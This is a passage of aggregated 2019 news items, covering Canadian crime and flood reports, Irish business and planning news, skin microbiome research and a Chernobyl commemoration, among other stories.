incidents in California from 1986 through 2014, causing 200 injuries, 48 fatalities and almost $800 million in property damage. A Center analysis of federal pipeline data found pipeline failures are most common after 30 years and shortly after theyre completed, as a result of faulty welds and other construction-related problems. SkinBioTherapeutics is at the forefront of this exciting research with its work using lysates, or extracts, of particular probiotic bacteria to deliver targeted health benefits The Nestle Skin Health SHIELD Skin Microbiome Summit in New York showcased the rapid research developments which have been advancing in recent years. Professor Cath ONeil of Manchester University, a pioneer in the skin biome, who is also CEO of SkinBioTherapeutics, welcomed the scientific focus on treating the many conditions that make life miserable for patients with skin conditions. Professor ONeil commented Unfortunately there are many skin products which make claims which are not scientifically proven. It is excellent when major companies sponsor these scientific forums so that we can really develop products which work. The skin microbiome, or the skin microbiota, is the population of bacteria that live on the skin. Over 1,000 species of bacteria have been identified, as well as viruses, fungi, and even mites. Research into the skin microbiome is about 20 years behind research on the gut microbiome, but there is evidence that certain bacteria can help stop pathogenic bacteria growing and causing infections on the skin. While there have been significant advances in the scientific understanding of the microbiota living on and in our skin, the most exciting research now being conducted focuses on how altering the composition of the skin microbiome could lead to improvements in skin health and even treatments for serious diseases. SkinBioTherapeutics is at the forefront of this exciting research with its work using lysates, or extracts, of particular probiotic bacteria to deliver targeted health benefits. The lysates which have been shown to increase the skins barrier integrity; protect the skin from infection by outcompeting harmful pathogens; and increase the rate of skin healing in response to injury. The target treatment areas for SkinBioTherapeutics are cosmetics, reducing the incidence of eczema flares, and infection prevention. Recently released human study data shows that SkinBioTherapeutics therapy is safe and well tolerated, and that it showed a statistically significant increase in skin hydration. 3 day programme for staff members across Group Wockhardt hospitals, a reputed chain of tertiary care super specialty hospitals in India celebrated Patient Safety Week across all its hospitals at Nagpur, Nasik, Vashi (Navi Mumbai), Rajkot, Surat, Wardha, South Mumbai & North Mumbai. The programme aimed at reinforcing and strengthening the defined practices to achieve better patient care and safety. The three day programme focussed on a wide range of topics from Accurate & Complete Documentation of Medical Records, Early warning Signs i.e. Rapid Response Team concept, Biomedical waste handling, Infection prevention and control, Lab & Radiology safety, & fire safety that are important components of a comprehensive patient safety programme. Commenting on the initiative, Zahabiya Khorakiwala, Managing Director, Wockhardt Hospitals, said, Prevention is always better than cure. It is mandatory that healthcare institutions practice basic and best practices and adhere to them for quality care and patient safety. At Wockhardt Hospitals we believe in quality care and delivering the same to our patients. Dr. Clive Fernandes, Group Clinical Director, Wockhardt Group Hospitals, said, Wockhardt hospitals aim for clinical excellence and uncompromised standards of patient care and safety. Following best practices and doing it the right way 365*24*7 is our way of ensuring patient safety and we periodically conduct such events to reinforce all our defined best practices. Role plays at work station by identified associates, poster competition on patient safety themes, Quiz sessions, audits and many more activities were carried out aiming at reinforcing all the policies and practices defined towards ensuring safe patient care. Let's have a look at Acumen Media's weekly social media news roundup.Following the Easter Weekend, the devastating floods in the Eastern Cape and KwaZulu-Natal took precedent in the country's psyche this week. The news on social media was mostly sombre as the Sri Lanka attacks were also on everyone's minds.Back home, citizens were giddy about Thabo Mbeki's endorsement of the ANC in the lead up to the General Elections. While the State Capture Inquiry wasn't on this week, it was still a hot topic.In other news: former Eskom CEO Brian Molefe was asked to pay back the money; Mozambique, fresh off a cyclone, is preparing for more havoc as Cyclone Kenneth approaches its coastline; the South African Broadcasting Corporation (SABC) was back in the spotlight after it fired its COO Chris Maroleng; and Economic Freedom Fighters leader Julius Malema's call for a media blackout before the elections rounds off the week's biggest stories on social media. Paddington Station PR Cape Town, Eden on the Bay, Bloubergstrand, R 8000 - R 10000 per month 9 Dec 2021 This job expired on 2 May 2019. Student Rushed To Hospital After Crying Non-Stop While Watching Avengers Pulse oi-Syeda Farah Noor People love watching their favourite movies that they get completely involved in it. After watching Avengers: Endgame, a crazy fan had to be admitted to hospital since she cried for straight 3 hours! The incident happened in China where the 21-year-old student and her friends went to watch the first screening of the movie. It is reported that the girl whose identity has not been revealed was deeply engrossed in the plot developments. While her other friends were also seen sobbing quietly, this particular girl was crying and breathing heavily after watching some of the emotional scenes. Once the movie got over the girl felt a sudden pain in her chest and she had trouble breathing. It was reported that her limbs started feeling numb and she displayed symptoms of spasms. When her friends noticed her health deteriorate, they had called an ambulance and rushed her to the hospital. The doctors who examined her revealed that the girl suffered from hyperventilation. This is a condition that occurs when the individual cries continuously for hours. The girl was treated by giving an oxygen mask and the doctors ensured that she remained calm until her symptoms went away. Though the girl was discharged from the hospital the same evening, it makes us wonder how crazy and emotional we humans get attached to these fictional characters! What is your take on this? Share your thoughts in the comment section below. GET THE BEST BOLDSKY STORIES! Allow Notifications Story first published: Friday, April 26, 2019, 13:16 [IST] U.S. Ambassador to Russia Jon Huntsman has stressed the importance of Russian-U.S. dialogue with the aim of ensuring global security and stability, he said in a video message devoted to the 74th anniversary of the meeting on the Elba River. "The image of that day, of two comrades in arms, an American soldier and a Soviet soldier, shaking hands, is forever etched in our memories as a symbol of what our countries can achieve when we work together for a common cause," the US ambassador noted. "Historical differences did not stop those soldiers from standing up together to do what was right," TASS cited him as saying. According to Huntsman, the symbolism of those soldiers joining hands serves as a poignant reminder that "while we live in a period of tensions between the United States and Russia, and there are many challenges in our relationship, the world is safer and more stable when Americans and Russians commit to make space for dialogue and discussion." The Nasimi Festival of Poetry, Arts and Spirituality has become a member of European Festivals Association, according to the Heydar Aliyev Foundation. It was noted that it is the first Azerbaijani festival which becomes a member of the European Festivals Association. Delegation of Nasimi Festival has recently participated in the 3rd Art Festivals Summit held in Lisbon. Overall, 230 festivals and delegations from 45 countries participated in the meeting. Along with the Nasimi Festival, 9 new festivals of seven countries Ukraine, Portugal, Spain, Italy, Sweden and Russia have become members of the Association. Two more festivals were accepted as honorary members. European Festivals Association unifies music, dance, theater and multidisciplinary art festivals in Europe and beyond its borders since 1952. The mission of the organization is to contribute to Europes art life by uniting and representing member festivals in Europe and worldwide. The organization acts as an important platform of art festivals. Manitoba First Nations Police are seeking the publics help in locating a man suspected in a hit-and-run late Wednesday evening on Waywayseecappo First Nation. Hey there, time traveller! This article was published 21/4/2019 (976 days ago), so information in it may no longer be current. Advertisement Advertise With Us Manitoba First Nations Police are seeking the publics help in locating a man suspected in a hit-and-run late Wednesday evening on Waywayseecappo First Nation. Police were called to a residence on the First Nation located about 150 kilometres northwest of Brandon where they found a woman who had been struck by a white 2000 Dodge Ram 1500, with licence plate KBZ 701, at approximately 11 p.m. The driver of the truck fled the scene, police said in a news release. The victim was transported by ambulance to hospital, where she remained in stable condition Thursday with undetermined injuries. The Virden RCMP traffic analyst attended the scene and assisted in the investigation. Two young children, ages three and four, were with their father, who was last seen driving the truck, were located and are now with a family member, police said. Police had earlier sought the publics help in locating the two children. Robert Fleury, 33, from Gambler First Nation is wanted for dangerous operation of a motor vehicle causing bodily harm; failure to stop after an accident resulting in bodily harm; impaired operation of a motor vehicle; assault with a weapon; failure to provide the necessaries; three counts of uttering threats against a person and failure to comply with a probation order. Manitoba First Nations Police are asking for the publics assistance in locating Fleury and the vehicle. Anyone with information on the whereabouts of Fleury are asked to call MFNP Waywayseecappo police detachment at 204-859-5071 or Crime Stoppers at 1-(800)-222-TIPS (8477). The Brandon Sun CALGARY - An aunt of a missing Calgary toddler says she's desperate to know what happened to the little girl and her mother, who police believe may be victims of homicide. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. CALGARY - An aunt of a missing Calgary toddler says she's desperate to know what happened to the little girl and her mother, who police believe may be victims of homicide. Aliyah Sanderson, 22-months old, and her mother, Jasmine Lovett, have not been seen since April 16 and were reported missing a week later after they failed to show up for a family dinner. Jasmine Lovett is seen in this undated handout photo. The Calgary Police Service is asking for the public's help to locate a woman and her daughter, who have not been heard from in over a week. THE CANADIAN PRESS/HO, Calgary Police *MANDATORY CREDIT* "I really just want them found that's it. I want some closure," said Josie Sanderson, whose brother Robbie Sanderson is Aliyah's father. Police have said he is not a suspect and has been co-operating with the investigation. A man who was taken into custody was released Friday without charges, but police say he remains a primary suspect. His name has not been released. But a man who identified himself as Robert Leeming told CTV News that he was the person who was arrested and questioned by police. Leeming, 34, said he is the owner of the townhouse where Lovett and her daughter lived and that they were his tenants for the past seven months. He called the situation stressful and said he is innocent. "I hope she is all right," he told Global Calgary. "What do you do, right? Bizarre." Leeming said he last saw Lovett on the Thursday night prior to the Easter weekend and has no idea what happened to them. He confirmed that he owns a Mercedez-Benz SUV that has been seized by police. He said he has not been permitted to return to his home as police continue to search it. Police have also been searching rural areas in the Rocky Mountain foothills west of the city. Josie Sanderson said Lovett and her brother broke up several months ago, and that Lovett started a relationship with another man. She said she knows little about the new boyfriend and hasn't heard from Lovett in months. She called Lovett a good mother. "She would never put her daughter in any danger willingly." Sanderson, who lives in St. Catharines, Ont., has never met Aliyah in person, but used to video chat with her niece and described her a happy and smart child. She sent the girl hand-me-down clothes from her daughter, who is now four. Sanderson said she was up all night crying, looking at photos of her niece, after police announced that homicide detectives were investigating. More than 50 officers, including some on horseback, and helicopters are searching around the hamlets of Bragg Creek and Priddis. Cellphone activity led them to that area, they said. The RCMP, local search and rescue groups and provincial fish and wildlife officers are also helping. Investigators said they are seeking information from anyone who saw a white man in his mid-30s driving a grey luxury SUV in the Bragg Creek or East Kananaskis wilderness area between April 16 and April 18. They say the man might have been in the Fullerton Loop/Elbow Falls recreation area of Kananaskis between 2:30 and 4:30 p.m. on April 18. Police said he may have been alone or with either Lovett or Aliyah and that he might have had mulch in his vehicle. They are urging property owners in the Bragg Creek area to report anything suspicious, especially if new mulch was dumped between April 16 and April 20. Hikers and bikers are also asked to be on the lookout. Investigators have gone through Lovett's social media as well as health care, phone and banking records and have found no "footprints of life." Police cannot confirm Lovett was the one who made an online purchase on April 18 from her account. "I hope that nothing bad happened. I'm just keeping positive," said Josie Sanderson. "Nothing's in stone yet that's what I'm trying to think here." With files from CTV Calgary TORONTO - A publication found to have been filled with hatred against women and Jews was a valuable relief valve for men prone to violence, its convicted editor told his sentencing hearing on Friday. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. James Sears, editor in chief of "Your Ward News," is seen outside Ontario court in Toronto on Wednesday, Nov. 28, 2018. The Crown is seeking a one-year jail term for a Toronto editor convicted of promoting hatred against women and Jews. THE CANADIAN PRESS/Colin Perkel TORONTO - A publication found to have been filled with hatred against women and Jews was a valuable relief valve for men prone to violence, its convicted editor told his sentencing hearing on Friday. In a statement to the judge as he sought to stave off a jail sentence, James Sears argued Your Ward News gave hope to the otherwise voiceless. "I'm approached on a regular basis by angry men, and sometimes women, that Your Ward News gave them a voice when no one else would," Sears told Ontario court Judge Richard Blouin. "Several men have told me that, because of our publication, they did not commit violence." Sears, who had wanted to deliver a 62-page "allocution" to the court but restricted himself to about 20 minutes, thanked supporters in the packed courtroom, including one woman he said had flown from Japan to be there. He warned Blouin against shutting down the free flow of political and religious ideas. "We're just trying to open a discussion," Sears said. "His honour cannot take one side of a religious debate or one side of a political debate." Sears, 55, and publisher LeRoy St. Germaine, 74, were found guilty in January of two counts of promoting hatred against women and Jews for the contents of 22 issues of Your Ward News, which has a circulation of 300,000 in the Toronto area and beyond, as well as an online presence. Among other things, the publication depicted in words and imagery vile stereotypes of Jews, denied the Holocaust, said women are inferior, and that they bring rape on themselves. The Crown called for the maximum six months jail term for each offence to be served consecutively one year behind bars plus three years probation during which Sears would be prohibited from publishing any kind of written material. The defence argued a four-month conditional sentence would be appropriate. Blouin said he would sentence Sears on May 31. In her submissions, Crown lawyer Erica Whitford cited several victim-impact and community-impact statements. "By delivering Your Ward News to our door, they were saying there was nowhere to feel safe," Whitford cited one Jewish resident as saying. Hate speech, Whitford said, "strikes at the heart of Canadian values." The glorification of violence against women made them feel vulnerable, retraumatized some, and tended to hurt the cause of equality overall, she said. The publication was among the worst examples of hate promotion, she said citing previous instances. "The case before you is significantly more egregious," Whitford said. "Denunciation is of the utmost importance in cases like this." Whitford said Sears showed no signs of a "poor grasp on reality." Nor was it his first offence, she said, citing findings of guilt for sexual assault against him in the 1990s. "It shows that his misogynistic beliefs are longstanding," she said. But Sears' lawyer Dean Embry called his client a first-time offender, saying no record existed of any convictions or of a pardon. He also said there was no evidence the married father, who lost his medical licence over sexual impropriety with female patients, actually harmed anyone with Your Ward News. "It can't be a theoretical harm," Embry said. "It can't be a possible harm." While hate speech and Sears' call for the "cultural extermination" of Jewish culture was "repugnant," Embry said Your Ward News was not "created with the sole purpose with spreading genocidal thought." Barring Sears from publishing any material is too broad and could be unconstitutional, the lawyer said. QUEBEC - The father of the Quebec City mosque shooter is urging Prime Minister Justin Trudeau and others to stop referring to his son as a terrorist. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Raymond Bissonnette, father of Alexandre Bissonnette who pleaded guilty in the 2017 mosque shooting, reads a statement to media as his wife Manon Marchand looks on, Thursday, June 21, 2018 at the hall of justice in Quebec City. The father of the Quebec City mosque shooter is urging Prime Minister Justin Trudeau and others to stop referring to his son as a terrorist.THE CANADIAN PRESS/Jacques Boissinot QUEBEC - The father of the Quebec City mosque shooter is urging Prime Minister Justin Trudeau and others to stop referring to his son as a terrorist. In an open letter to Trudeau sent to various media, Raymond Bissonnette said the label has "greatly increased" the danger to his family. He wrote that while his son's crimes were "of the most terrible kind," he had no terrorist connection "nor any particular ideology." Alexandre Bissonnette was sentenced in February to life in prison with no chance of parole for at least 40 years for killing six worshippers and injuring six others at a mosque in January 2017. He was not charged with terrorism, but Trudeau and others have repeatedly referred to his actions in those terms. In response to the letter, federal Public Safety Minister Ralph Goodale called Bissonnette's actions appalling and said Canadians aren't interested in arguing over semantics. "He must bear the consequences of his conduct," Goodale said Friday. "His intent was to instill fear and terror in the hearts of Canadians." Foreign Affairs Minister Chrystia Freeland told a United Nations debate on terrorism financing last month that "two years ago, a terrorist killed six people in a Quebec City mosque." Raymond Bissonnette wrote that making the terrorism link has had an impact on his family. "I consider that the repeated statements labelling Alexandre Bissonnette as a 'terrorist' have already caused serious harm to my family," he wrote. Alexandre Bissonnette was sentenced in February after pleading guilty in March 2018 to six counts of first-degree murder and six of attempted murder after he walked into the mosque at the Islamic Cultural Centre on Jan. 29, 2017 and opened fire during evening prayers. The slain men were Mamadou Tanou Barry, 42; Abdelkrim Hassane, 41; Khaled Belkacemi, 60; Aboubaker Thabti, 44; Azzeddine Soufiane, 57; and Ibrahima Barry, 39. Both the Crown and defence have appealed the sentence. The Crown, which initially sought six consecutive life sentences amounting to 150 years, said the sentence handed down was too lenient and wants him to be ineligible for parole for 50 years. The defence countered that the sentence was cruel and unusual punishment, and Bissonnette should be able to apply for parole in 25 years. The Quebec Court of Appeal is not expected to hear arguments before January 2020. MONTREAL - As a steady rain moved into Quebec Friday, Montreal declared a state of emergency and authorities closely monitored a dam and a dike that were placing residents at risk to the west of the city. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Area residents wait at a roadblock after orders to evacuate the area after an alert that the Bell-Chute dam is at risk of failing Thursday, April 25, 2019 in Grenville-sur-la-Rouge, Quebec. THE CANADIAN PRESS/Ryan Remiorz MONTREAL - As a steady rain moved into Quebec Friday, Montreal declared a state of emergency and authorities closely monitored a dam and a dike that were placing residents at risk to the west of the city. Provincial police were patrolling an area of homes and cottages along the Rouge River, about 140 kilometres west of Montreal, where 75 people were forced out when a hydro dam was declared to be at risk of failing. Meanwhile, Canadian Forces soldiers were dispatched to reinforce a dike in Pointe-Calumet northwest of Montreal by the Lake of Two Mountains that was threatening to give way and force 1,000 people from their homes. Montreal Mayor Valerie Plante said the situation in Quebec's largest city is under control, but added the heavy rain in the forecast could change conditions rapidly. She said the emergency declaration gives Montreal's fire chief the authority to force evacuations and spend money without requiring city council's approval. About 100 kilometres northeast of Montreal, hectares of farmland were flooded between the shores of the St. Lawrence River and the Felix-Leclerc Highway. Near the town of Yamachiche, the water has risen to completely surround France Bellemare's home. "You should come here in the summer it's paradise," she said, as she climbed into a canoe by the side of her house. A man carries a box of personal items from a boat in the town of Rigaud, Que, west of Montreal, Friday, April 26, 2019.The town issued a mandatory evacuation order earlier Friday. THE CANADIAN PRESS/Graham Hughes About a week ago, there was a roughly five-metre drop to the lake behind a stone wall at the edge of her property, she said. But as of Friday afternoon, only a few centimetres of stone could be seen jutting above the waves. Holding a paddle in her hands, Bellemare said she still hasn't been fully compensated by the government for the floods of 2017. She knows her home is in a flood zone, but she doesn't want to leave. Authorities, she said, should let her and her neighbours build a higher wall to better shield their homes. But she said they aren't allowed. "This wall was built 20 years ago," she said. "Technology has progressed, yet we can't touch anything. They should give us the flexibility to build a new structure." Next door, Christian Montigny and his wife, Ginette, were sitting in their living room overlooking the lake. A massive tree trunk was floating beside their porch, which normally would have been several metres above the water. Montigny said despite the frequent floods, they love living near the lake. Montigny smiled when asked if he was prepared to take money from the provincial government to relocate. "We're not going anywhere," he said. West of Montreal in Grenville-sur-la-Rouge, provincial police Sgt. Marc Tessier said evacuees left voluntarily after public security officials issued an alert Thursday afternoon warning that the Chute Bell dam was at risk. Some in more remote areas had to be airlifted by helicopter, and police planned to remain in the area to ensure no one returned. "Our message is, if you're in the zone, we're going to ask you to leave," Tessier said. "We don't have a time frame for when they'll (be able to) go back." The evacuated area stretches about 18 kilometres south to the Ottawa River in Quebec's Lower Laurentians region. The alert is in effect until May 3. The infrastructure was intended to withstand what officials call a millennial flood an occurrence expected once in a thousand years. Francis Labbe, a Hydro-Quebec spokesman, said those levels have been reached, and with rain in the forecast, the Rouge River will likely rise. "Right now everything is stable, it's under control," Labbe said Friday. "The problem is the rain that we are expecting in the next 24 hours or so, and we know this rain will make the flow of the river rise 30 per cent more than what it is right now." Eric Moisan, another utility spokesman, acknowledged that once the river flow surpasses the current 980 cubic metres per second, "we don't know how the power station will perform." He noted that a dam does not necessarily give way when the flow is excessive. "It's concrete. It's very solid," he said. Public Security Minister Genevieve Guilbault said heavy rain particularly in the northern Outaouais and north of Quebec City will cause water levels to the south to rise, and people living near bodies of water at risk need to be prepared. As of 1 p.m. Friday, Quebec's Public Security Department said 3,148 residences had been flooded in the province, 2,362 residences had been cut off due to rising waters and 1,110 people had been forced from their homes. In Gatineau, Mayor Maxime Pedneaud-Jobin warned residents Friday to prepare for the worst. "By Monday or Tuesday, we should exceed the highest levels of 2017," he said, adding it could stay that way for up to two weeks. "What we will live through in the coming weeks, we've never experienced." OTTAWA - A legal challenge by former Afghanistan captive Joshua Boyle's wife in the middle of his sexual-assault trial sets a "very dangerous precedent" that could be disastrous for such proceedings across Canada, Boyle's lawyer says. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Joshua Boyle arrives at court in Ottawa on Monday, March 25, 2019.THE CANADIAN PRESS/Sean Kilpatrick OTTAWA - A legal challenge by former Afghanistan captive Joshua Boyle's wife in the middle of his sexual-assault trial sets a "very dangerous precedent" that could be disastrous for such proceedings across Canada, Boyle's lawyer says. Lawrence Greenspon said Friday he will vigorously oppose the timing and substance of Caitlan Coleman's appeal of a recent ruling that allows Boyle to introduce evidence about the couple's consensual sexual activity. Boyle, 35, has pleaded not-guilty in Ontario court to offences against Coleman, 33, including assault, sexual assault and unlawful confinement. The alleged offences date from late 2017, after the couple returned to Canada following five years as hostages of extremists who seized them during an ill-fated trip to Asia. The assault trial, which began in late March, is suspended indefinitely while Coleman heads to Ontario Superior Court on May 15 to challenge the ruling allowing Boyle's lawyers to examine her and Boyle's sexual history. The law sets out limits on the extent to which an accused person can bring up an alleged victims sexual history during a trial and legislative changes that took effect in December gave complainants in sexual-assault cases a bigger say in proceedings on allowable evidence. But Boyle's legal team has expressed concern about the detrimental effects that a delay of months or even years could have for the accused. Greenspon's co-counsel, Eric Granger, told the court this week that the case hinges on the reliability of evidence, which does not "get better with time" as memories fade. In addition, Boyle must abide by strict bail conditions that limit his freedoms while the trial plays out. Greenspon said Friday that Boyle would oppose Coleman's application in Superior Court. "There's a real concern, and I think there ought to be, about this step being taken in the middle of a criminal trial," Greenspon said after a hearing to discuss next steps. "It would set a very dangerous precedent to allow that kind of application to happen mid-trial and the impact on all other sexual-assault trials across the country would be I don't think it's overstating it to say disastrous." However, Greenspon welcomed a commitment from Coleman's lawyer, Ian Carter, that could lead to a relatively speedy resolution of the legal snag. Carter said Friday that Coleman had instructed him not to appeal the outcome of the challenge even if it goes against her to help ensure the trial gets back on track. "We discussed the matter, and while she feels strongly with respect to the issue that's arisen, at the same time we want to ensure that the trial moves forward in an expeditious manner," Carter said. Greenspon said that was "potentially good news in terms of putting a cap on the delay." However, he is reserving Boyle's right to appeal the Superior Court decision if it doesn't go his way. A ruling from the higher court could come later this spring, meaning Boyle's assault trial might resume as early as July if there are no further appeals. The lawyers discussed potential dates Friday that could see the rest of the trial unfold in several sittings over the summer and early fall. Follow @JimBronskill on Twitter TORONTO - Ontario pharmacists have a little less than a year to get up to speed on weed if they want to practice in the province. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. A handful of cannabis bud is shown in Fenwick, Ont., on Tuesday, June 26, 2018. Ontario pharmacists have a little less than a year to get up to speed on weed if they want to practice in the province. THE CANADIAN PRESS/ Tijana Martin TORONTO - Ontario pharmacists have a little less than a year to get up to speed on weed if they want to practice in the province. The Ontario College of Pharmacists has made cannabis education mandatory in the wake of legalization and in anticipation of legal edibles set to arrive this fall. The regulatory body has told its members they have until March 27, 2020 to complete an accredited course that could help them address what has been a hazy landscape when it comes to patient information. The Ontario Pharmacists Association launched the first of such courses last month, covering a pharmacist's ethical, legal and professional responsibilities when it comes to pot. The course also details the benefits and risks of cannabis, dosage forms and common side effects. Although pharmacists do not dispense cannabis, they are sometimes asked for health advice by patients who are becoming more open about using weed. A statement from the college acknowledges that many patients want reliable information on how cannabis interacts with their medications. But while much is known about health effects of alcohol use, for instance, information about recreational pot is far less understood and available, notes the college. The move makes Ontario the only province to require pharmacists to complete a cannabis course. "As medication experts who are often the most accessible health-care provider for patients, pharmacy professionals play an important role in educating their patients if equipped with the necessary knowledge," the college says in a backgrounder emailed to The Canadian Press. "As the availability of recreational cannabis expands, pharmacists will have to consider that any patient may need to be informed on the interaction of cannabis with other medications, much like they do for alcohol use." Regulatory bodies in other provinces have taken a more hands-off approach. Still, New Brunswick's college registrar Sam Lanctin says it expects its pharmacists "have a basic understanding of cannabis use, similar to what is expected for alcohol or tobacco use." Meanwhile, a spokeswoman for the College of Pharmacists of British Columbia says its pharmacists are bound by a code of ethics "to practice only within the scope of their education, training and competence." A spokeswoman for Quebec's regulatory body notes that many of its pharmacists voluntarily take private courses to learn about the emerging field. "Before recreational cannabis was legal, people were shy to say, 'I use that kind of drug,' because it was not legal," says Julie Villeneuve. "But since it is, people ask more questions, so pharmacists ... they want to give good advice." University of Waterloo pharmacy associate professor Michael Beazely, who helped put together Ontario's course, said many pharmacists are frustrated that concrete data is hard to come by. "The clarity of how (cannabis) should be used is less black-and-white than many prescription drugs," notes Beazely, whose course also breaks down the differences and similarities between recreational and medical cannabis products. Ideally, pharmacists should know about all of a patient's drug use whether it be over-the-counter, natural health products, vitamin supplements, prescription drugs or recreational drugs, legal and illegal, says Beazely. Cannabis education varies at the university level but does seem to be gradually working its way into the classroom, he adds. "Just because it's an interest of mine I've been increasing our content quite a lot," says Beazely. "And now that the Ontario College of Pharmacists has mandated required cannabis training we're actually going to embed that into our curriculum so that our grads will graduate with that box checked." The Irish Examiner is this morning hosting an event which is debating and exploring the citys transformation and future both from a national and international perspective. The breakfast briefing in the UCC Centre for Executive Education on Lapps Quay has brought together the citys business, political, social and academic leaders and influencers to discuss where the city is heading and what we want it to be. Speakers this morning include: Simon Coveney, Tanaiste and Minister for Foreign Affairs and Trade Ann Doherty, Chief Executive, Cork City Council Angela Brady OBE, Founder, Brady Mallalieu Architects Michael OFlynn, Chairman & CEO, OFlynn Group The event is being moderated by award-winning Irish Examiner columnist Michael Clifford. You can follow twitter updates from the event here Tweets by BredaGraham The event is the latest in a series of cross platform events. Yesterday the Irish Examiner, in conjunction with the Cork Institute of Technology, released this audio documentary canvassing the views of ordinary citizens on the issue. If you cannot see the audio embed above please follow the link here to listen to the documentary. A series of thought-provoking essays, published free with the Irish Examiner in a special supplement today, also explore the opportunities and challenges facing the region. It is not too late to pick up your copy. Please feel free to send us your own contribution on what you feel that future holds, what direction you feel the city is heading and what you want Cork to be in the decades ahead? Find out how to send your readers blog contribution for consideration here. Join the conversation on social media at #CorkontheRise. Developer Johnny Ronan has unveiled plans for a 350m residential development in Dublins Docklands. The 576 residential unit development for Spencer Dock is the developers single largest foray into the residential building market since he recommenced building after the economic crash. In recent days, Mr Ronans Spencer Place Ltd has placed the plans for the 576 residential units - made up of 471 apartments and 105 units in shared accommodation - with An Bord Pleanala as part of a consultation process with the appeals board under the Strategic Housing Development (SHD) legislation. Spencer Place is seeking to build the blocks on City Block 2, Spencer Dock on a site bounded by Sheriff Street Upper to Wapping Street. One of the blocks reaches to 13 storeys but the height of the apartment blocks is the same height as the 629 unit development built on Spencer Dock in 2006/2007. The application by Mr Ronans Spencer Place was one of seven large scale residential applications lodged with the appeals board in a matter of five days under the Governments fast track planning rules. A short distance from Mr Ronans plan, Oxley Holdings has lodged plans for consultation for 697 build-to-rent apartments at Connolly Station Car Park at Sheriff St Lower. Elsewhere in Dublin on lands that formerly formed part of Santa Sabina Dominican College and Convent Complex, Greenfield Road, Sutton, Parsis Ltd has lodged plans with the appeals board for 144 apartments as part of a consultation process. Outside the capital, Crodaun Developments Ltd has entered a consultation phase with the appeals board on its plan to construct 495 dwellings at Cellbridge in Co Kildare made up of 228 houses, 225 apartments and 42 duplexes. In Cork, Seamus and Evelyn Scally have given notice of their plans to lodge planning for 118 build to rent apartments on a site bounded by South City Link Road, Rockboro Road and Gasworks Road in the city. Also in Cork, HQ Developments are to seek planning for 302 residential units at Horgan Quay, Railway Street, Cork. The seventh of the large scale applications is for a site at Oranmore, Oranhill in Galway where Arlum Ltd is to seek planning for 212 residential units. The rate of SHD applications being lodged with the appeals board has quickened considerably since the start of the year. During 2018, 39 SHD applications were lodged and between January and the end of March this year, 24 applications were lodged. This compares to seven for the same period last year. Moscow welcomes U.S. President Donald Trumps call addressed to Russia, the United States and China for giving up nuclear weapons, Russian Deputy Foreign Minister Sergei Ryabkov said at a press briefing in the run-up to the third session of the preparatory committee of the 2020 NPT Review Conference. "In a situation where the role of nuclear weapons in US doctrine-related documents and their gradual transition to a class of weapons that can be used on the battlefield such statements can be only welcomed," TASS cited Ryabkov as saying. Russia is closely following reports in the United States that the U.S. would like to reach a nuclear weapons deal with both Russia and China, and is "willing" to negotiate, including the story reported by CNN earlier today. Kingspan is not expected to make a revised offer for Belgian company Recticel despite the latter being open to a higher offer. The Belgian company has rejected Kingspan's 700m offer for its insulation and flexible foams divisions, which was tabled last week, on a number of grounds but most notably because it viewed the offer price as being "inadequate". In reply, the Cavan-based building insulation group said it noted Recticel's comments and views, but had "nothing further to add". It is understood that Kingspan had initially held talks over a bid for Recticel's entire business, before switching its focus to just the two aforementioned divisions. Recticel has claimed that Kingspan returned its attention to the entire business in recent days with a 10 per share offer. Recticel also said it was concerned with Kingspan having an agreement in place to sell-on the flexible foams business to Austrian company Greiner. However, no deal now seems likely. We understand that Kinsgpan will not be making any further revised offer for Recticel. "Hence, the possibility of a transaction is almost certainly finished," said Davy analysts Flor O'Donoghue and Robert Gardiner. "It is disappointing in that there were clear merits to a Kingspan-Recticel Insulation combination, a disappointment that may well be shared by many Recticel shareholders given what the offer implied relative to the undisturbed valuation of the group. "However, it highlights Kingspan's discipline and, given the short timeline of developments,should not have been too much of a drag on management time and resources," they said in a research note. Kingspan is expected to report a strong first quarter trading performance when it updates to coincide with its agm next Friday. Speaking in February on the back of a strong set of 2018 annual results - which saw a 17% rise in pre-tax profit and the group breaching the 4bn mark in revenues for the first time - chief executive Gene Murtagh said the company was eyeing more acquisitions in mainland Europe and described the deal pipeline as being "very healthy". However, he described the European M&A market as being "very unpredictable". Kingspan continues to have a vast opportunity set for investment, which is increasing as the group's operating network globalises. "We are hopeful that there will be some interesting developments over the remainder of the year," said the Davy analysts. Kingspan shares - up nearly 24% in the past 12 months - fell by close to 1% after news of the failed Recticel bid. Ireland's Chernobyl Children International is at the centre of a UN commemoration ceremony in New York tonight. A message from President Michael D Higgins has been read and a minute's silence held, to remember the victims of the 1986 Chernobyl disaster. The event has been co-hosted by the charity's CEO, Adi Roche, who called for international recognition and a Nobel Prize nomination for the first responders to Chernobyl, known as Liquidators. She said: The Nobel Peace Prize is awarded annually to men and women, to international organisations, who have made the world a safer place to live and nobody in the world worked harder and paid a higher price to try to make our world a safer place to live in...than the Liquidators who fought to contain the Chernobyl meltdown. The Permanent Missions of Belarus, Ukraine and Ireland to the United Nations, in collaboration with Chernobyl Children International hosted the event to honour the victims of the disaster and to recognise the cast and crew of the upcoming Chernobyl mini-series, which tells the real behind the scenes story of the worlds worst nuclear accident. Chernobyl dramatizes the 1986 nuclear accident that released radioactive material across Belarus, Russia and Ukraine, and brings to life the true story of the brave men and women who made incredible sacrifices to save Europe from unimaginable disaster. Irish actress Jessie Buckley plays Lyudmilla Ignatenko whose husband, Vasili, was one of the first responders to the explosion at the Nuclear Power Plant in 1986. Vasili subsequently died at the age of 25 as a result of the lethal levels of radiation exposure. Jessie recited a testimony of Lyudmila at the poignant, CCI-led event this afternoon. There were 24,500 people earning less than the minimum wage at the end of last year, according to the Central Statistics Office. Among the key findings are that 137,200 employees, 7.6% of all employees, received the statutory minimum wage of 9.55 per hour or less last year. There were 1,679,600 earning more than the minimum wage, a 5.2% (83,400) increase from 2017. However, women are more likely than men to be given the minimum wage or less. Of the 137,200 employees who reported receiving the minimum wage or less last year, 55% (75,900) were women. The results show that 8.3% of all female employees were paid the minimum wage or less, compared to 6.8% of males. The services sector accounted for more than four 